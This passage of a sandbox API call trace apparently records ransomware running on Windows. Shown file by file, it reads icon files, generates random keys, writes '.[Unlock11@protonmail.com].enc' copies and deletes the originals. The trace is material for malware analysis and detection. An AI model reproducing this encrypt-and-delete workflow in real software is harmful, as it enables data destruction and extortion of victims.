GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.190] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.190] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.190] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.190] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.190] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.190] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.191] GetLastError () returned 0x0 [0115.191] GetCurrentThreadId () returned 0x9b0 [0115.191] GetLastError () returned 0x0 [0115.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69e8 | out: hHeap=0x2ad0000) returned 1 [0115.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0115.191] GetLastError () returned 0x0 [0115.191] GetLastError () returned 0x0 [0115.191] GetLastError () returned 0x0 [0115.191] GetLastError () returned 0x0 [0115.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0115.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b48 [0115.191] GetLastError () returned 0x0 [0115.191] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.192] GetFileType (hFile=0x3ac) returned 0x1 [0115.192] GetLastError () returned 0x0 [0115.192] GetCurrentThreadId () returned 0x9b0 [0115.192] GetLastError () returned 0x0 [0115.192] GetFileType (hFile=0x3ac) returned 0x1 [0115.192] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.192] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.192] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.193] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.193] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.193] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.193] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.193] GetLastError () returned 0x0 [0115.193] GetCurrentThreadId () returned 0x9b0 [0115.193] GetLastError () returned 0x0 [0115.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b48 | out: hHeap=0x2ad0000) returned 1 [0115.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0115.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0115.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.193] GetLastError () returned 0x0 [0115.193] GetLastError () returned 0x0 [0115.194] GetCurrentThreadId () returned 0x9b0 [0115.194] GetLastError () returned 0x0 [0115.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0115.194] GetLastError () returned 0x0 [0115.194] GetLastError () returned 0x0 [0115.194] GetCurrentThreadId () returned 0x9b0 [0115.194] GetLastError () returned 0x0 [0115.194] GetLastError () returned 0x0 [0115.301] GetLastError () returned 0x0 [0115.301] GetCurrentThreadId () returned 0x9b0 [0115.301] GetLastError () returned 0x0 [0115.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x393) returned 0x35c5908 [0115.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x395) returned 0x35c5908 [0115.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b68 [0115.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b58 | out: hHeap=0x2ad0000) returned 1 [0115.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x398) returned 0x382d310 [0115.301] GetCurrentThreadId () returned 0x9b0 [0115.302] GetLastError () returned 0x0 [0115.302] GetLastError () returned 0x0 [0115.302] GetLastError () returned 0x0 [0115.302] GetLastError () returned 0x0 [0115.302] GetCurrentThreadId () returned 0x9b0 [0115.302] GetLastError () returned 0x0 [0115.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382d310 | out: hHeap=0x2ad0000) returned 1 [0115.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0115.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.302] GetLastError () returned 0x0 [0115.302] GetLastError () returned 0x0 [0115.302] GetCurrentThreadId () returned 0x9b0 [0115.303] GetLastError () returned 0x0 [0115.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a38 | out: hHeap=0x2ad0000) returned 1 [0115.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5ca8 [0115.303] GetLastError () returned 0x0 [0115.303] GetLastError () returned 0x0 [0115.303] GetCurrentThreadId () returned 0x9b0 [0115.303] GetLastError () returned 0x0 [0115.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ca8 | out: hHeap=0x2ad0000) returned 1 [0115.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.303] GetLastError () returned 0x0 [0115.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0115.304] CloseHandle (hObject=0x3ac) returned 1 [0115.305] GetLastError () returned 0x0 [0115.305] GetCurrentThreadId () returned 0x9b0 [0115.305] GetLastError () returned 0x0 [0115.305] GetLastError () returned 0x0 [0115.305] CloseHandle (hObject=0x39c) returned 1 [0115.305] GetLastError () returned 0x0 [0115.305] GetCurrentThreadId () returned 0x9b0 [0115.305] GetLastError () returned 0x0 [0115.305] GetLastError () returned 0x0 [0115.305] GetLastError () returned 0x0 [0115.306] GetLastError () returned 0x0 [0115.306] GetLastError () returned 0x0 [0115.306] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0115.307] GetLastError () returned 0x0 [0115.307] GetCurrentThreadId () returned 0x9b0 [0115.307] GetLastError () returned 0x0 [0115.307] GetCurrentThreadId () returned 0x9b0 [0115.307] GetLastError () returned 0x0 [0115.307] GetLastError () returned 0x0 [0115.307] GetLastError () returned 0x0 [0115.307] GetLastError () returned 0x0 [0115.307] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", lpFilePart=0x9bada4*="Rotate4.ico") returned 0x2a [0115.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0115.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0115.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0115.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0115.308] GetCurrentThreadId () returned 0x9b0 [0115.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0115.308] GetLastError () returned 0x0 [0115.308] GetLastError () returned 0x0 [0115.308] GetLastError () returned 0x0 [0115.308] GetLastError () returned 0x0 [0115.308] GetCurrentThreadId () returned 0x9b0 [0115.308] GetLastError () returned 0x0 [0115.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0115.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0115.309] GetLastError () returned 0x0 [0115.309] GetLastError () returned 0x0 [0115.309] GetLastError () returned 0x0 [0115.309] GetLastError () returned 0x0 [0115.309] GetCurrentThreadId () returned 0x9b0 [0115.309] GetLastError () returned 0x0 [0115.309] GetCurrentThreadId () returned 0x9b0 [0115.309] GetLastError () returned 0x0 [0115.309] GetLastError () returned 0x0 [0115.310] GetLastError () returned 0x0 [0115.310] GetLastError () returned 0x0 [0115.310] GetCurrentThreadId () returned 0x9b0 [0115.310] GetLastError () returned 0x0 [0115.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0115.310] GetLastError () returned 0x0 [0115.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0115.310] GetLastError () returned 0x0 [0115.310] GetLastError () returned 0x0 [0115.310] GetLastError () returned 0x0 [0115.310] GetCurrentThreadId () returned 0x9b0 [0115.310] GetLastError () returned 0x0 [0115.311] GetLastError () returned 0x0 [0115.311] GetLastError () returned 0x0 [0115.311] GetLastError () returned 0x0 [0115.311] GetLastError () returned 0x0 [0115.311] GetCurrentThreadId () returned 0x9b0 [0115.311] GetLastError () returned 0x0 [0115.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0115.311] GetLastError () returned 0x0 [0115.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0115.311] GetLastError () returned 0x0 [0115.311] GetLastError () returned 0x0 [0115.311] GetLastError () returned 0x0 [0115.312] GetCurrentThreadId () returned 0x9b0 [0115.312] GetLastError () returned 0x0 [0115.312] GetCurrentThreadId () returned 0x9b0 [0115.312] GetLastError () returned 0x0 [0115.312] GetLastError () returned 0x0 [0115.312] GetLastError () returned 0x0 [0115.312] GetLastError () returned 0x0 [0115.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0115.312] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0115.312] GetLastError () returned 0x0 [0115.313] GetCurrentThreadId () returned 0x9b0 [0115.313] GetLastError () returned 0x0 [0115.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0115.313] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b9c | out: pbBuffer=0x3664b9c) returned 1 [0115.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0115.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0115.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0115.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0115.315] GetCurrentThreadId () returned 0x9b0 [0115.315] GetLastError () returned 0x0 [0115.315] GetLastError () returned 0x0 [0115.315] GetLastError () returned 0x0 [0115.315] GetLastError () returned 0x0 [0115.315] GetCurrentThreadId () returned 0x9b0 [0115.316] GetLastError () returned 0x0 [0115.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0115.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7c8 [0115.316] GetCurrentThreadId () returned 0x9b0 [0115.316] GetLastError () returned 0x0 [0115.316] GetLastError () returned 0x0 [0115.316] GetLastError () returned 0x0 [0115.316] GetLastError () returned 0x0 [0115.316] GetCurrentThreadId () returned 0x9b0 [0115.316] GetLastError () returned 0x0 [0115.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7c8 | out: hHeap=0x2ad0000) returned 1 [0115.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a08 [0115.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0115.317] GetLastError () returned 0x0 [0115.317] GetLastError () returned 0x0 [0115.317] GetLastError () returned 0x0 [0115.317] GetLastError () returned 0x0 [0115.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b48 [0115.317] GetLastError () returned 0x0 [0115.317] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.318] GetFileType (hFile=0x39c) returned 0x1 [0115.318] GetLastError () returned 0x0 [0115.318] GetCurrentThreadId () returned 0x9b0 [0115.318] GetLastError () returned 0x0 [0115.318] GetFileType (hFile=0x39c) returned 0x1 [0115.318] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.318] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.318] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.318] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.318] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.318] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.318] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.318] GetLastError () returned 0x0 [0115.319] GetCurrentThreadId () returned 0x9b0 [0115.319] GetLastError () returned 0x0 [0115.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b48 | out: hHeap=0x2ad0000) returned 1 [0115.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0115.319] GetLastError () returned 0x0 [0115.319] GetLastError () returned 0x0 [0115.319] GetLastError () returned 0x0 [0115.319] GetLastError () returned 0x0 [0115.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0115.319] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f69f8 [0115.319] GetLastError () returned 0x0 [0115.319] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.320] GetFileType (hFile=0x3ac) returned 0x1 [0115.320] GetLastError () returned 0x0 [0115.320] GetCurrentThreadId () returned 0x9b0 [0115.320] GetLastError () returned 0x0 [0115.320] GetFileType (hFile=0x3ac) returned 0x1 [0115.320] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.320] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.320] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.321] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.321] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.321] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.321] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.321] GetLastError () returned 0x0 [0115.321] GetCurrentThreadId () returned 0x9b0 [0115.321] GetLastError () returned 0x0 [0115.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0115.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0115.321] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0115.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0115.321] GetLastError () returned 0x0 [0115.321] GetLastError () returned 0x0 [0115.322] GetCurrentThreadId () returned 0x9b0 [0115.322] GetLastError () returned 0x0 [0115.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0115.322] GetLastError () returned 0x0 [0115.322] GetLastError () returned 0x0 [0115.322] GetCurrentThreadId () returned 0x9b0 [0115.322] GetLastError () returned 0x0 [0115.322] GetLastError () returned 0x0 [0115.323] GetLastError () returned 0x0 [0115.323] GetCurrentThreadId () returned 0x9b0 [0115.324] GetLastError () returned 0x0 [0115.324] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x393) returned 0x35c5908 [0115.324] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x395) returned 0x35c5908 [0115.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b28 [0115.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0115.324] GetCurrentThreadId () returned 0x9b0 [0115.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x398) returned 0x3888c80 [0115.324] GetLastError () returned 0x0 [0115.324] GetLastError () returned 0x0 [0115.324] GetLastError () returned 0x0 [0115.324] GetLastError () returned 0x0 [0115.325] GetCurrentThreadId () returned 0x9b0 [0115.325] GetLastError () returned 0x0 [0115.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3888c80 | out: hHeap=0x2ad0000) returned 1 [0115.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0115.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0115.325] GetLastError () returned 0x0 [0115.325] GetLastError () returned 0x0 [0115.325] GetCurrentThreadId () returned 0x9b0 [0115.325] GetLastError () returned 0x0 [0115.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38888d8 | out: hHeap=0x2ad0000) returned 1 [0115.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5ca8 [0115.325] GetLastError () returned 0x0 [0115.326] GetLastError () returned 0x0 [0115.326] GetCurrentThreadId () returned 0x9b0 [0115.326] GetLastError () returned 0x0 [0115.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ca8 | out: hHeap=0x2ad0000) returned 1 [0115.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.326] GetLastError () returned 0x0 [0115.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0115.327] CloseHandle (hObject=0x3ac) returned 1 [0115.327] GetLastError () returned 0x0 [0115.327] GetCurrentThreadId () returned 0x9b0 [0115.327] GetLastError () returned 0x0 [0115.327] GetLastError () returned 0x0 [0115.328] CloseHandle (hObject=0x39c) returned 1 [0115.328] GetLastError () returned 0x0 [0115.328] GetCurrentThreadId () returned 0x9b0 [0115.328] GetLastError () returned 0x0 [0115.328] GetLastError () returned 0x0 [0115.328] GetLastError () returned 0x0 [0115.328] GetLastError () returned 0x0 [0115.328] GetLastError () returned 0x0 [0115.328] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0115.329] GetLastError () returned 0x0 [0115.329] GetCurrentThreadId () returned 0x9b0 [0115.330] GetLastError () returned 0x0 [0115.330] GetCurrentThreadId () returned 0x9b0 [0115.330] GetLastError () returned 0x0 [0115.330] GetLastError () returned 0x0 [0115.330] GetLastError () returned 0x0 [0115.330] GetLastError () returned 0x0 [0115.330] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", lpFilePart=0x9bada4*="Rotate5.ico") returned 0x2a [0115.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0115.330] GetCurrentThreadId () returned 0x9b0 [0115.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0115.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0115.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea778 [0115.331] GetLastError () returned 0x0 [0115.331] GetLastError () returned 0x0 [0115.331] GetLastError () returned 0x0 [0115.331] GetLastError () returned 0x0 [0115.331] GetCurrentThreadId () returned 0x9b0 [0115.331] GetLastError () returned 0x0 [0115.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea778 | out: hHeap=0x2ad0000) returned 1 [0115.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea610 [0115.331] GetCurrentThreadId () returned 0x9b0 [0115.331] GetLastError () returned 0x0 [0115.332] GetLastError () returned 0x0 [0115.332] GetLastError () returned 0x0 [0115.332] GetLastError () returned 0x0 [0115.332] GetCurrentThreadId () returned 0x9b0 [0115.332] GetLastError () returned 0x0 [0115.332] GetLastError () returned 0x0 [0115.332] GetLastError () returned 0x0 [0115.332] GetLastError () returned 0x0 [0115.332] GetLastError () returned 0x0 [0115.332] GetCurrentThreadId () returned 0x9b0 [0115.332] GetLastError () returned 0x0 [0115.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea610 | out: hHeap=0x2ad0000) returned 1 [0115.333] GetLastError () returned 0x0 [0115.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0115.333] GetLastError () returned 0x0 [0115.333] GetLastError () returned 0x0 [0115.333] GetLastError () returned 0x0 [0115.333] GetCurrentThreadId () returned 0x9b0 [0115.333] GetLastError () returned 0x0 [0115.333] GetLastError () returned 0x0 [0115.333] GetLastError () returned 0x0 [0115.333] GetLastError () returned 0x0 [0115.333] GetLastError () returned 0x0 [0115.334] GetCurrentThreadId () returned 0x9b0 [0115.334] GetLastError () returned 0x0 [0115.334] GetCurrentThreadId () returned 0x9b0 [0115.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0115.334] GetLastError () returned 0x0 [0115.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0115.334] GetLastError () returned 0x0 [0115.334] GetLastError () returned 0x0 [0115.334] GetLastError () returned 0x0 [0115.334] GetCurrentThreadId () returned 0x9b0 [0115.334] GetLastError () returned 0x0 [0115.334] GetLastError () returned 0x0 [0115.334] GetLastError () returned 0x0 [0115.335] GetLastError () returned 0x0 [0115.335] GetLastError () returned 0x0 [0115.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0115.335] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0115.335] GetLastError () returned 0x0 [0115.335] GetCurrentThreadId () returned 0x9b0 [0115.335] GetLastError () returned 0x0 [0115.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0115.335] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664d2c | out: pbBuffer=0x3664d2c) returned 1 [0115.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0115.336] GetCurrentThreadId () returned 0x9b0 [0115.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0115.336] GetLastError () returned 0x0 [0115.336] GetLastError () returned 0x0 [0115.336] GetLastError () returned 0x0 [0115.336] GetLastError () returned 0x0 [0115.336] GetCurrentThreadId () returned 0x9b0 [0115.336] GetLastError () returned 0x0 [0115.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0115.336] 